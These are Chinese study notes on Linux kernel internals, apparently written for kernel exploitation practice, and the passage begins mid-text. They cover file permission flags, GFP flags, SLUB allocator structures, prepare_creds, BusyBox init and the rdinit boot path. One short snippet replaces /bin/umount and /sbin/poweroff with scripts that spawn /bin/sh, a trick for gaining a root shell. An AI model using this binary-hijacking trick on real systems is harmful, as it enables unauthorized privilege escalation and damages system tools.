#define O_NDELAY O_NONBLOCK
#endif

3)Linux2.2以后特有的旗标,以避免一些系统安全问题。参数mode 则有下列数种组合,只有在建立新文件时才会生效,此外真正建文件时的权限会受到umask值所影响,因此该文件权限应该为(mode-umaks)。
S_IRWXU00700 权限,代表该文件所有者具有可读、可写及可执行的权限。
S_IRUSR 或S_IREAD,00400权限,代表该文件所有者具有可读取的权限。
S_IWUSR 或S_IWRITE,00200 权限,代表该文件所有者具有可写入的权限。
S_IXUSR 或S_IEXEC,00100 权限,代表该文件所有者具有可执行的权限。
S_IRWXG 00070权限,代表该文件用户组具有可读、可写及可执行的权限。
S_IRGRP 00040 权限,代表该文件用户组具有可读的权限。
S_IWGRP 00020权限,代表该文件用户组具有可写入的权限。
S_IXGRP 00010 权限,代表该文件用户组具有可执行的权限。
S_IRWXO 00007权限,代表其他用户具有可读、可写及可执行的权限。
S_IROTH 00004 权限,代表其他用户具有可读的权限
S_IWOTH 00002权限,代表其他用户具有可写入的权限。
S_IXOTH 00001 权限,代表其他用户具有可执行的权限。

系统调用入口及接口

https://elixir.bootlin.com/linux/v5.0-rc8/source/fs

https://elixir.bootlin.com/linux/v5.0-rc8/source/kernel/sys.c

https://elixir.bootlin.com/linux/v5.0-rc8/source/include/linux/syscalls.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/*
* In case of changes, please don't forget to update
* include/trace/events/mmflags.h and tools/perf/builtin-kmem.c
*/

/* Plain integer GFP bitmasks. Do not use this directly. */
#define ___GFP_DMA 0x01u
#define ___GFP_HIGHMEM 0x02u
#define ___GFP_DMA32 0x04u
#define ___GFP_MOVABLE 0x08u
#define ___GFP_RECLAIMABLE 0x10u
#define ___GFP_HIGH 0x20u
#define ___GFP_IO 0x40u
#define ___GFP_FS 0x80u
#define ___GFP_NOWARN 0x200u
#define ___GFP_RETRY_MAYFAIL 0x400u
#define ___GFP_NOFAIL 0x800u
#define ___GFP_NORETRY 0x1000u
#define ___GFP_MEMALLOC 0x2000u
#define ___GFP_COMP 0x4000u
#define ___GFP_ZERO 0x8000u
#define ___GFP_NOMEMALLOC 0x10000u
#define ___GFP_HARDWALL 0x20000u
#define ___GFP_THISNODE 0x40000u
#define ___GFP_ATOMIC 0x80000u
#define ___GFP_ACCOUNT 0x100000u
#define ___GFP_DIRECT_RECLAIM 0x400000u
#define ___GFP_WRITE 0x800000u
#define ___GFP_KSWAPD_RECLAIM 0x1000000u
#ifdef CONFIG_LOCKDEP
#define ___GFP_NOLOCKDEP 0x2000000u
#else
#define ___GFP_NOLOCKDEP 0
#endif

___GFP_KSWAPD_RECLAIM | ___GFP_DIRECT_RECLAIM | ___GFP_FS | ___GFP_IO
/* If the above are modified, __GFP_BITS_SHIFT may need updat

笔记:

mm/slab.h中的kmalloc

mm/slub.h中的__kmallocsizeflag为参数

sizeflag作为参数传给mm/slab_common.h中的kmalloc_slab,在其中用size确定index,然后用indexkmalloc_caches[](元素类型全是kmem_cache*)中确定kmem_cache*,返回一个kmem_cache*类型变量给s

include/linux/slub_def.h中的kmem_cache结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
/*
* Slab cache management.
*/
struct kmem_cache {
struct kmem_cache_cpu __percpu *cpu_slab; //important
/* Used for retriving partial slabs etc */
slab_flags_t flags;
unsigned long min_partial;
unsigned int size; /* The size of an object including meta data */
unsigned int object_size;/* The size of an object without meta data */
unsigned int offset; /* Free pointer offset. */
#ifdef CONFIG_SLUB_CPU_PARTIAL
/* Number of per cpu partial objects to keep around */
unsigned int cpu_partial;
#endif
struct kmem_cache_order_objects oo;

/* Allocation and freeing of slabs */
struct kmem_cache_order_objects max;
struct kmem_cache_order_objects min;
gfp_t allocflags; /* gfp flags to use on each alloc */
int refcount; /* Refcount for slab cache destroy */
void (*ctor)(void *);
unsigned int inuse; /* Offset to metadata */
unsigned int align; /* Alignment */
unsigned int red_left_pad; /* Left redzone padding size */
const char *name; /* Name (only for display!) */
struct list_head list; /* List of slab caches */
#ifdef CONFIG_SYSFS
struct kobject kobj; /* For sysfs */
struct work_struct kobj_remove_work;
#endif
#ifdef CONFIG_MEMCG
struct memcg_cache_params memcg_params;
/* for propagation, maximum size of a stored attr */
unsigned int max_attr_size;
#ifdef CONFIG_SYSFS
struct kset *memcg_kset;
#endif
#endif

#ifdef CONFIG_SLAB_FREELIST_HARDENED
unsigned long random; //用来异或加密
#endif

#ifdef CONFIG_NUMA
/*
* Defragmentation by allocating from a remote node.
*/
unsigned int remote_node_defrag_ratio;
#endif

#ifdef CONFIG_SLAB_FREELIST_RANDOM
unsigned int *random_seq;
#endif

#ifdef CONFIG_KASAN
struct kasan_cache kasan_info;
#endif

unsigned int useroffset; /* Usercopy region offset */
unsigned int usersize; /* Usercopy region size */

struct kmem_cache_node *node[MAX_NUMNODES];
};

kmem_cache_cpu结构体:

1
2
3
4
5
6
7
8
9
10
11
struct kmem_cache_cpu {
void **freelist; /* Pointer to next available object */
unsigned long tid; /* Globally unique transaction id */
struct page *page; /* The slab from which we are allocating */
#ifdef CONFIG_SLUB_CPU_PARTIAL
struct page *partial; /* Partially allocated frozen slabs */
#endif
#ifdef CONFIG_SLUB_STATS
unsigned stat[NR_SLUB_STAT_ITEMS];
#endif
};

之后将sflags作为参数,调用了slab_alloc,返回一个指针,这个指针指向申请出来的chunk,返回给用户。

slab_alloc中又直接调用了slab_alloc_node

slab_allocslab_alloc_node这两个函数为分配内存的最核心函数kmallockmem_cache_alloc是外围函数,kmalloc的参数为sizeflagskmem_cache_alloc的参数为kmem_cache*flags

kmem_cache_alloc:类似于kmalloc的申请内存的函数,核心在于s,传入的s不同,返回的指针不同:

1
2
3
4
5
6
7
8
9
10
void *kmem_cache_alloc(struct kmem_cache *s, gfp_t gfpflags)
{
void *ret = slab_alloc(s, gfpflags, _RET_IP_); //传入的s不同slab_alloc返回的指针不同

trace_kmem_cache_alloc(_RET_IP_, ret, s->object_size,
s->size, gfpflags);

return ret;
}
EXPORT_SYMBOL(kmem_cache_alloc);

prepare_creds函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
struct cred *prepare_creds(void)
{
struct task_struct *task = current;
const struct cred *old;
struct cred *new;

validate_process_creds();

new = kmem_cache_alloc(cred_jar, GFP_KERNEL); //传入cred_jar这个kmem_cache*
if (!new)
return NULL;

kdebug("prepare_creds() alloc %p", new);

old = task->cred;
memcpy(new, old, sizeof(struct cred));

atomic_set(&new->usage, 1);
set_cred_subscribers(new, 0);
get_group_info(new->group_info);
get_uid(new->user);
get_user_ns(new->user_ns);

#ifdef CONFIG_KEYS
key_get(new->session_keyring);
key_get(new->process_keyring);
key_get(new->thread_keyring);
key_get(new->request_key_auth);
#endif

#ifdef CONFIG_SECURITY
new->security = NULL;
#endif

if (security_prepare_creds(new, old, GFP_KERNEL) < 0)
goto error;
validate_creds(new);
return new;

error:
abort_creds(new);
return NULL;
}
EXPORT_SYMBOL(prepare_creds);

1
2
3
4
5
6
7
8
9
10
11
rm /bin/umount
echo -ne '#!/bin/sh\n/bin/sh' > /bin/umount
chmod +x /bin/umount
exit

rm /sbin/poweroff
echo -ne '#!/bin/sh\n/bin/sh' > /sbin/poweroff
chmod +x /sbin/poweroff
exit

exit

https://www.cnblogs.com/pengdonglin137/p/3328889.html

除了基本的命令之外,BusyBox还支持init功能,如同其它的init一样,busyboxinit也是完成系统的初始化工作,关机前的工作等等,我们知道在Linux的内核被载入之后,机器就把控制权转交给内核,linux的内核启动之后,做了一些工作,然后找到根文件系统里面的init程序,并执行它,BusyBoxinit进程会依次进行以下工作:

  1. init设置信号处理过程

  2. 初始化控制台

  3. 剖析/etc/inittab文件

  4. 执行系统初始化命令行,缺省情况下会使用/etc/init.d/rcS

  5. 执行所有导致init暂停的inittab命令(动作类型:wait

  6. 执行所有仅执行一次的inittab(动作类型:once

一旦完成以上工作,init进程便会循环执行以下进程:

  1. 执行所有终止时必须重新启动的inittab命令 (动作类型:once

  2. 执行所有终止时必须重新启动但启动前必须询问用户的inittab命令(动作类型:askfirst)

初始化控制台之后,BusyBox会检查/etc/inittab文件是否存在,如果此文件不存在,BusyBox会使用缺省的inittab配置,它主要为系统重引导,系统挂起以及init重启动设置缺省的动作,此外它还会为四个虚拟控制台(tty1tty4)设置启动shell的动作。如果未建立这些设备文件,BusyBox会报错。

默认的/etc/inittab为:(放在源码的examples目录下)

1
2
3
4
5
6
7
8
9
::sysinit:/etc/init.d/rcS
::askfirst:/bin/sh
::ctrlaltdel:/sbin/reboot
::shutdown:/sbin/swapoff -a
::shutdown:/bin/umount -a -r
::restart:/sbin/init
tty2::askfirst:/bin/sh
tty3::askfirst:/bin/sh
tty4::askfirst:/bin/sh
1
2
3
4
5
6
7
8
9
10
11
12
tty: terminal(终端),console(控制台) text terminal
pty: pseudo terminal (ssh,gnome-terminal,konsole,xfce4-terminal,lxterminal) 虚拟终端,常用于远程连接
ptmx: pseudo terminal master x (/dev/ptmx)
pts: pseudo terminal slave (/dev/pts/0)
ptmx与pts合作实现pty,pmtx为主,pts/*为从

/dev/tty 当前终端
/dev/tty* 控制终端
/dev/ttyS* 串口终端
/dev/ttyUSB* USB转串口终端
/dev/ptmx pty主设备
/dev/pts/* pty从设备

详解/dev/ptmx与/dev/pts/*

关于/sbin/init的一点东西

关于/sbin/mdev

https://www.cnblogs.com/pied/articles/5775282.html

简单来说,就是为了创建和管理 /dev 目录下的设备文件,包括初始化对象和动态更新。具体呢,在文件系统被加载时,通过读取内核放在 /sys/class 目录下的设备信息,在 /dev 目录下创建设备文件;在系统运行过程中,通过接收 uevent ,来判断是否需要移出设备文件。

简单来讲,/sys/class 多半负责列出内核支持项目的有无,mdev 则负责维护用户空间中那个可以读写的设备文件。

例如,我们写好了一个字符驱动,然后,我们可以在驱动 init 中使用 class_create() 和 class_device_create() 调用,以实现驱动被加载后,可以出现在 /sys/class 中,进而自动由 mdev 在 /dev 中创建设备节点。当然,我们也可以用 “mknode /dev/xxx c 主设备号 次设备号” 来手动创建,或者,将驱动注册为 MISC device,这样,驱动会出现在 /sys/misc/ 类下面,也会自动加载。

关于rdinit=/sbin/init

https://blog.csdn.net/larryliuqing/article/details/8204602

命令行未加rdinit=/sbin/init且无/init文件时,启动后报错信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[    0.611972] Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(1,0)
[ 0.632132] CPU: 0 PID: 1 Comm: swapper/0 Not tainted 5.6.3 #3
[ 0.643283] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[ 0.655411] Call Trace:
[ 0.657573] dump_stack+0x6d/0x95
[ 0.666431] panic+0xfe/0x2ec
[ 0.670303] mount_block_root+0x275/0x325
[ 0.675738] mount_root+0x7c/0x7f
[ 0.688065] prepare_namespace+0x13f/0x170 // <== !!!
[ 0.693402] kernel_init_freeable+0x243/0x269 // <== !!!
[ 0.701961] ? rest_init+0xb0/0xb0
[ 0.703674] kernel_init+0xe/0x110
[ 0.706105] ret_from_fork+0x35/0x40
[ 0.710728] Kernel Offset: 0x33e00000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)
[ 0.729192] Rebooting in 1 seconds..

可以看到是在kernel_init_freeable中报错的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
static int __ref kernel_init(void *unused)
{
int ret;

kernel_init_freeable(); // < ==== Here !!!
/* need to finish all async __init code before freeing the memory */
async_synchronize_full();
ftrace_free_init_mem();
free_initmem();
mark_readonly();

/*
* Kernel mappings are now finalized - update the userspace page-table
* to finalize PTI.
*/
pti_finalize();

system_state = SYSTEM_RUNNING;
numa_default_policy();

rcu_end_inkernel_boot();

if (ramdisk_execute_command) { //< ==== important !!!! 运行到这里说明rdinit
ret = run_init_process(ramdisk_execute_command); //指向存在的文件(若不存在,preapre_namespace中
if (!ret) //会报错),为/init或其他指定的文件,
return 0; //因为/sbin/init是busybox中默认存在的用于初始化
pr_err("Failed to execute %s (error %d)\n", //的文件,所以rdinit一般初始化为/sbin/init.
ramdisk_execute_command, ret); //然后进入busybox中的init流程.
} //(运行/etc/init.d/rcS,解析/etc/inittab等操作

/*
* We try each of these until one succeeds.
*
* The Bourne shell can be used instead of init if we are
* trying to recover a really broken machine.
*/
if (execute_command) {
ret = run_init_process(execute_command);
if (!ret)
return 0;
panic("Requested init %s failed (error %d).",
execute_command, ret);
}
if (!try_to_run_init_process("/sbin/init") || // < ==== busybox中默认存在
!try_to_run_init_process("/etc/init") || // < ==== busybox中默认不存在
!try_to_run_init_process("/bin/init") || // < ==== busybox中默认不存在
!try_to_run_init_process("/bin/sh")) // < ==== 肯定存在,但是若运行到这一步则会直接开启shell,不会进行busybox中的init流程(运行/etc/init.d/rcS,解析/etc/inittab等操作).
return 0;

panic("No working init found. Try passing init= option to kernel. "
"See Linux Documentation/admin-guide/init.rst for guidance.");
}

static noinline void __init kernel_init_freeable(void)
{
/*
* Wait until kthreadd is all set-up.
*/
wait_for_completion(&kthreadd_done);

/* Now the scheduler is fully set up and can do blocking allocations */
gfp_allowed_mask = __GFP_BITS_MASK;

/*
* init can allocate pages on any node
*/
set_mems_allowed(node_states[N_MEMORY]);

cad_pid = task_pid(current);

smp_prepare_cpus(setup_max_cpus);

workqueue_init();

init_mm_internals();

do_pre_smp_initcalls();
lockup_detector_init();

smp_init();
sched_init_smp();

page_alloc_init_late();
/* Initialize page ext after all struct pages are initialized. */
page_ext_init();

do_basic_setup();

console_on_rootfs();

/*
* check if there is an early userspace init. If yes, let it do all
* the work
*/
//here is the reason why panic.........
if (!ramdisk_execute_command)
ramdisk_execute_command = "/init";

if (ksys_access((const char __user *) //因为不存在/init,所以会进入prepare_namespace流程
ramdisk_execute_command, 0) != 0) { //去尝试mount root fs没有挂载rootfs.img的文件系统
ramdisk_execute_command = NULL; //所以要么指定好rdinit,要么创建一个/init
prepare_namespace();
}

/*
* Ok, we have completed the initial bootup, and